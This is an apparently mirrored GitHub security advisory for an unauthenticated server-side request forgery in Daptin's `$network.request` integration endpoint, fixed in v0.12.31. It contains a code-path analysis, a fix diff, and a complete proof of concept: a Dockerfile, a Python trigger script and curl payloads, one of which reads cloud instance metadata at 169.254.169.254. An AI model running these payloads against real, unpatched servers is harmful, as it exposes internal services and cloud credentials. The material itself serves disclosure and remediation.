GHSA-5F2G-F47H-XR5R
Unauthenticated SSRF via Direct Invocation of `$network.request` Integration Provider
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-5F2G-F47H-XR5R divulgada · CVSS 8.6 (GitHub) | |
| Remediación | Parche v0.12.31 | github.com/daptin/daptin · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Unauthenticated SSRF via Direct Invocation of `$network.request` Integration Provider
Summary
Daptin's `/integration/:providerName/*operationName` endpoint accepts unauthenticated POST requests and allows callers to invoke any registered action performer by name. The built-in `$network.request` performer is registered by default and passes the caller-supplied `Url` field directly to an outbound HTTP client without validation or allowlisting. An unauthenticated remote attacker can cause the Daptin server to make arbitrary HTTP requests to any reachable host — including localhost services, internal infrastructure, and cloud metadata endpoints (e.g., `http://169.254.169.254/`) — and read the response body from the API reply. CVSS v3.1 Base Score: 8.6 (High).
Details
The vulnerability arises from two independent flaws that compose into an exploitable SSRF chain:
1. Authentication bypass (missing JWT enforcement)
`server/auth/auth.go:332` initializes `okToContinue = true`. When a request arrives without a JWT and `doBasicAuthCheck` is `false`, the middleware never sets `okToContinue = false`. At line 615–620, `AuthCheckMiddleware` calls `c.Next()` because `ok` remains `true`, forwarding the unauthenticated request to the route handler. The integration endpoint registered at `server/server.go:596` is not placed in an authenticated router group and relies solely on this middleware, so it is reached without any valid credential.
2. Unvalidated URL passed to outbound HTTP client
`server/integration_operation_handler.go:25` reads `providerName` directly from the URL path parameter. Line 38 decodes the request body JSON into `body.Input`. The sanitizer at lines 50 and 142–145 strips only reserved session/credential keys — it does not remove or restrict `Url` or `Method`. Line 77 calls `resource.GetActionHandler(worldCrud, providerName)`, which performs a plain name-based map lookup with no permission check (`server/resource/action_handler_map.go:49–58`). Line 99 then invokes `performer.DoAction(outcome, body.Input, transaction)` with the attacker-supplied input.
The `$network.request` performer is registered by default at `server/action_provider/action_provider.go:102–104`. Its implementation at `server/actions/action_network_request.go:37–40` reads the URL directly from the input map:
url, isUrlPresent := inFieldMap["Url"]
urlString = url.(string)Line 102 passes this string to the HTTP client without any scheme restriction, IP blocklist, or hostname allowlist:
response, err = client.Execute(methodString, urlString)Lines 119–141 copy the full response body into the API reply, allowing the attacker to exfiltrate the response.
Full source-to-sink data flow:
| Step | Location | Role |
|------|----------|------|
| 1 | `server/auth/auth.go:332` | `okToContinue = true` — default allows unauthenticated requests |
| 2 | `server/auth/auth.go:615–620` | `c.Next()` called; request proceeds without JWT |
| 3 | `server/server.go:596` | Route `POST /integration/:providerName/*operationName` registered (no auth group) |
| 4 | `server/integration_operation_handler.go:25` | Source — `providerName` read from URL path |
| 5 | `server/integration_operation_handler.go:38` | Source — `body.Input` decoded from request JSON |
| 6 | `server/integration_operation_handler.go:50,142–145` | Sanitizer skips `Url` and `Method` keys |
| 7 | `server/integration_operation_handler.go:77` | `GetActionHandler` — name lookup, no authorization check |
| 8 | `server/integration_operation_handler.go:99` | Attacker-controlled `body.Input` forwarded to performer |
| 9 | `server/action_provider/action_provider.go:102–104` | `$network.request` registered by default |
| 10 | `server/actions/action_network_request.go:37–40` | `Url` read from `inFieldMap` without validation |
| 11 | `server/actions/action_network_request.go:102` | Sink — `client.Execute(methodString, urlString)` |
| 12 | `server/actions/action_network_request.go:119–141` | Response body returned to attacker in API response |
Suggested remediation:
--- a/server/integration_operation_handler.go
+++ b/server/integration_operation_handler.go
@@
worldCrud := cruds["world"]
if worldCrud == nil {
c.AbortWithStatusJSON(http.StatusInternalServerError, ...)
return
}
+ if _, ok := resolveIntegrationForDiscovery(c, cruds, providerName, "execute_operation"); !ok {
+ return
+ }
+
performer, ok := resource.GetActionHandler(worldCrud, providerName)Additionally, `$network.request` should validate the target URL against an allowlist and block private IP ranges (RFC 1918, loopback, link-local) as defense-in-depth.
PoC
Prerequisites: Docker, Python 3.9+, and source code at commit `cf0b5f96a9841005a154b14c69476087762ccc9d`.
Step 1 — Build the Docker image
docker build -t daptin-ssrf-poc \
-f /path/to/vuln-001/Dockerfile \
/path/to/daptin-repoThe Dockerfile performs a two-stage build (Go builder + Ubuntu 22.04 runtime) with CGO enabled for SQLite support, then starts daptin on port 6336 with an in-memory SQLite database.
Step 2 — Start the container
docker run -d --name daptin-ssrf-poc-run \
-p 127.0.0.1:6336:6336 \
daptin-ssrf-pocStep 3 — Run the automated PoC
`poc.py` starts a sentinel HTTP server on the host, sends an unauthenticated POST to daptin, and waits for the server-side request to arrive at the sentinel:
python3 poc.py \
--daptin-host 127.0.0.1 \
--daptin-port 6336 \
--sentinel-port 8977 \
--host-ip 172.17.0.1 \
--timeout 120Expected output (pass):
[poc] Sentinel HTTP server listening on 0.0.0.0:8977
[poc] daptin is up — /ping returned: 'pong'
[poc] Triggering SSRF (no auth): POST http://127.0.0.1:6336/integration/$network.request/poc
[poc] NOTE : No Authorization header is sent — this is intentional
[poc] SENTINEL CAPTURED REQUEST:
[poc] client_ip : 172.17.0.2
[poc] method : GET
[poc] path : /ssrf-proof
[poc] user_agent : go-resty/2.2.0 (https://github.com/go-resty/resty)
[poc] host : 172.17.0.1:8977
[poc] PASS: UNAUTHENTICATED SSRF CONFIRMEDStep 4 — Manual curl variant (internal loopback)
curl -s -X POST 'http://127.0.0.1:6336/integration/$network.request/poc' \
-H 'Content-Type: application/json' \
--data '{"input":{"Url":"http://127.0.0.1:6336/ping","Method":"GET"}}'The JSON response contains a `$network.response` attribute whose body is `pong`, proving that daptin fetched the internal endpoint server-side.
Step 5 — Cloud metadata variant
curl -s -X POST 'http://127.0.0.1:6336/integration/$network.request/meta' \
-H 'Content-Type: application/json' \
--data '{"input":{"Url":"http://169.254.169.254/latest/meta-data/","Method":"GET"}}'On a cloud VM, the response body contains the instance metadata document returned by the IMDS.
Observed dynamic evidence (Phase 2):
The sentinel server running on `172.17.0.1:8977` received a `GET /ssrf-proof` request from `172.17.0.2` (the daptin Docker container) with `User-Agent: go-resty/2.2.0 (https://github.com/go-resty/resty)`. The triggering POST carried no `Authorization` header and received HTTP 200. Container logs confirmed `Response body [GET][http://127.0.0.1:6336/ping]: pong`.
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918). Any unauthenticated user who can reach the Daptin HTTP port is impacted.
What an attacker can do:
- Probe and read responses from internal services not otherwise exposed to the network (e.g., databases, admin panels, internal APIs on localhost or private subnets).
- Retrieve cloud instance metadata on AWS, GCP, or Azure deployments (`http://169.254.169.254/`), potentially obtaining IAM credentials, SSH keys, or bootstrap tokens.
- Use Daptin as a pivot to scan and interact with internal network hosts.
- Exfiltrate response bodies directly from the API response — this is a full-read SSRF, not blind.
Preconditions: The default Daptin installation with no additional configuration. No account, token, or API key of any kind is required.
Reproduction artifacts
`Dockerfile`
# Stage 1: Build daptin from source
# Requires CGO for go-sqlite3 (github.com/mattn/go-sqlite3)
FROM golang:latest AS builder
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc \
libc-dev \
ca-certificates \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /src
# Copy the entire repository as build context
COPY . .
# Build the binary with CGO enabled (required for sqlite3)
RUN CGO_ENABLED=1 GOOS=linux GOARCH=amd64 \
go build -o /daptin .
# Stage 2: Minimal runtime image
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates \
libsqlite3-0 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /daptin /app/daptin
RUN chmod +x /app/daptin
EXPOSE 6336
# Start daptin with SQLite backend on port 6336
# -local_storage_path avoids permission issues with default paths
CMD ["/app/daptin", \
"-port", ":6336", \
"-db_type", "sqlite3", \
"-db_connection_string", "/tmp/daptin-poc.db", \
"-local_storage_path", "/tmp/daptin-storage"]`poc.py`
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated SSRF via $network.request Integration Provider
CVE Candidate: CWE-918 / CVSS 8.6 (High)
Demonstrates that an unauthenticated attacker can invoke daptin's built-in
$network.request performer through the /integration/:providerName/* endpoint,
causing the server to make arbitrary outbound HTTP requests to attacker-
controlled URLs.
Attack flow:
1. poc.py starts a sentinel HTTP server on the host (0.0.0.0:SENTINEL_PORT).
2. poc.py sends an unauthenticated POST to daptin's integration endpoint,
specifying the sentinel URL as the SSRF target.
3. daptin (inside the Docker container) makes a server-side HTTP GET to
the sentinel URL — proving Server-Side Request Forgery.
4. The sentinel records the connection: IP address, User-Agent, request path.
PASS criteria:
- Sentinel receives a connection from the Docker container IP range (172.17.0.x)
- User-Agent header contains "go-resty" (daptin's HTTP client library)
- No Authorization header was sent in the triggering POST request
Usage:
python3 poc.py [--daptin-host HOST] [--daptin-port PORT]
[--sentinel-port PORT] [--host-ip IP]
[--timeout SECONDS]
"""
import argparse
import json
import queue
import sys
import threading
import time
import urllib.error
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer
# Docker bridge gateway — the host's IP as seen from inside the container.
# Default Docker bridge is 172.17.0.0/16; gateway is 172.17.0.1.
DEFAULT_HOST_IP = "172.17.0.1"
DEFAULT_SENTINEL_PORT = 8977
SSRF_ENDPOINT = "/integration/$network.request/poc"
def log(msg: str) -> None:
print(f"[poc] {msg}", flush=True)
# ---------------------------------------------------------------------------
# Sentinel HTTP server — records the first inbound request
# ---------------------------------------------------------------------------
class SentinelRequestLog:
"""Thread-safe container for the first request captured by the sentinel."""
def __init__(self) -> None:
self._q: queue.Queue = queue.Queue()
def record(self, entry: dict) -> None:
self._q.put(entry)
def wait(self, timeout: float) -> dict | None:
try:
return self._q.get(timeout=timeout)
except queue.Empty:
return None
_sentinel_log: SentinelRequestLog = SentinelRequestLog()
def _make_handler(log_obj: SentinelRequestLog):
class _Handler(BaseHTTPRequestHandler):
def do_GET(self) -> None:
entry = {
"client_ip": self.client_address[0],
"method": self.command,
"path": self.path,
"user_agent": self.headers.get("User-Agent", ""),
"host_header": self.headers.get("Host", ""),
"all_headers": dict(self.headers),
}
log_obj.record(entry)
body = b"SSRF_SENTINEL_RECEIVED"
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args): # suppress default access log
pass
return _Handler
def start_sentinel(port: int) -> tuple[HTTPServer, SentinelRequestLog]:
"""Start the sentinel server in a daemon thread. Returns (server, log)."""
server = HTTPServer(("0.0.0.0", port), _make_handler(_sentinel_log))
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
log(f"Sentinel HTTP server listening on 0.0.0.0:{port}")
return server, _sentinel_log
# ---------------------------------------------------------------------------
# daptin helpers
# ---------------------------------------------------------------------------
def wait_for_daptin(host: str, port: int, timeout: int) -> bool:
"""Poll GET /ping until daptin is ready or timeout expires."""
url = f"http://{host}:{port}/ping"
deadline = time.time() + timeout
log(f"Waiting for daptin at {url} (timeout={timeout}s) ...")
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=3) as resp:
if resp.status == 200:
log(f"daptin is up — /ping returned: {resp.read().decode()!r}")
return True
except Exception:
pass
time.sleep(2)
return False
def trigger_ssrf(daptin_host: str, daptin_port: int, ssrf_target_url: str) -> dict:
"""
POST /integration/$network.request/poc with NO authentication header.
Returns dict with 'status' and 'body'.
Raises urllib.error.HTTPError / OSError on hard failure.
"""
endpoint = f"http://{daptin_host}:{daptin_port}{SSRF_ENDPOINT}"
payload = json.dumps({"input": {"Url": ssrf_target_url, "Method": "GET"}}).encode()
log(f"Triggering SSRF (no auth): POST {endpoint}")
log(f" Payload : {payload.decode()}")
log(f" Target : {ssrf_target_url}")
log(f" NOTE : No Authorization header is sent — this is intentional")
req = urllib.request.Request(
endpoint,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode()
log(f" daptin HTTP response: {resp.status} — body: {body[:300]}")
return {"status": resp.status, "body": body}
except urllib.error.HTTPError as exc:
# daptin may return 4xx on transaction errors AFTER making the SSRF
# request — the sentinel still captures the request, so this is OK.
body = exc.read().decode()
log(f" daptin HTTP response: {exc.code} (expected in some builds) — {body[:200]}")
return {"status": exc.code, "body": body}
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def run(args: argparse.Namespace) -> int:
daptin_host = args.daptin_host
daptin_port = args.daptin_port
sentinel_port = args.sentinel_port
host_ip = args.host_ip
ssrf_target_url = f"http://{host_ip}:{sentinel_port}/ssrf-proof"
log("=" * 64)
log("VULN-001 — Unauthenticated SSRF via $network.request")
log("=" * 64)
log(f" daptin endpoint : http://{daptin_host}:{daptin_port}")
log(f" SSRF target URL : {ssrf_target_url}")
log(f" Sentinel port : 0.0.0.0:{sentinel_port}")
# Step 1: Start sentinel
server, captured = start_sentinel(sentinel_port)
# Step 2: Wait for daptin
if not wait_for_daptin(daptin_host, daptin_port, args.timeout):
log("ERROR: daptin did not become ready in time")
server.shutdown()
return 1
# Step 3: Trigger SSRF (unauthenticated)
trigger_ssrf(daptin_host, daptin_port, ssrf_target_url)
# Step 4: Check if sentinel received a request from daptin
log("Waiting for sentinel to capture SSRF request (up to 10s) ...")
hit = captured.wait(timeout=10)
server.shutdown()
if hit is None:
log("FAIL: Sentinel received no inbound request — SSRF did not fire")
return 1
log("")
log("SENTINEL CAPTURED REQUEST:")
log(f" client_ip : {hit['client_ip']}")
log(f" method : {hit['method']}")
log(f" path : {hit['path']}")
log(f" user_agent : {hit['user_agent']}")
log(f" host : {hit['host_header']}")
# Verify the request came from a Docker container (not localhost)
is_docker_container = hit["client_ip"].startswith("172.17.") or \
(hit["client_ip"] == "127.0.0.1")
uses_resty = "go-resty" in hit["user_agent"]
log("")
if not (is_docker_container or uses_resty):
log(f"FAIL: Request source {hit['client_ip']} / UA {hit['user_agent']!r} "
f"did not match expected daptin fingerprint")
return 1
log("=" * 64)
log("PASS: UNAUTHENTICATED SSRF CONFIRMED")
log("")
log("Evidence summary:")
log(" 1. POST /integration/$network.request/poc was accepted with NO auth header")
log(f" 2. daptin made a server-side GET to {ssrf_target_url}")
log(f" 3. Sentinel received connection from container IP {hit['client_ip']}")
log(f" 4. User-Agent: {hit['user_agent']!r} (go-resty = daptin HTTP client)")
log(f" 5. Request path: {hit['path']!r} (attacker-controlled)")
log("")
log("Attacker-controlled URL was fetched server-side without any")
log("authentication — CWE-918 (Server-Side Request Forgery) confirmed.")
log("=" * 64)
return 0
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC for VULN-001: Unauthenticated SSRF in daptin"
)
parser.add_argument("--daptin-host", default="127.0.0.1", help="daptin host")
parser.add_argument("--daptin-port", type=int, default=6336, help="daptin port")
parser.add_argument(
"--sentinel-port",
type=int,
default=DEFAULT_SENTINEL_PORT,
help="Port for the sentinel HTTP server (must be reachable from Docker container)",
)
parser.add_argument(
"--host-ip",
default=DEFAULT_HOST_IP,
help="Host IP as seen from inside the Docker container (Docker bridge gateway)",
)
parser.add_argument(
"--timeout",
type=int,
default=120,
help="Seconds to wait for daptin startup",
)
args = parser.parse_args()
sys.exit(run(args))
if __name__ == "__main__":
main()Resolution
Fixed by commit `617901c8` https://github.com/daptin/daptin/commit/617901c89d037843d1841becb6329861691483da. Provider-scoped `/integration/:providerName/*operationName` routes now resolve only performers explicitly marked as integration performers. Ordinary built-in action performers, including `$network.request`, are no longer addressable through the integration route. Runtime-created integration performers retain the intended endpoint behavior.
Regression tests verify that ordinary performers are rejected while installed integration performers remain resolvable. Released in `v0.12.31` https://github.com/daptin/daptin/releases/tag/v0.12.31. Versions before 0.12.31 are affected.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/daptin/daptin |
Corregida | v0.12.31 | 0 d | v0.13.57 no afectada |
0.12.31v0.12.31Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/daptin/daptin/security/advisories/GHSA-5f2g-f47h-xr5rLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
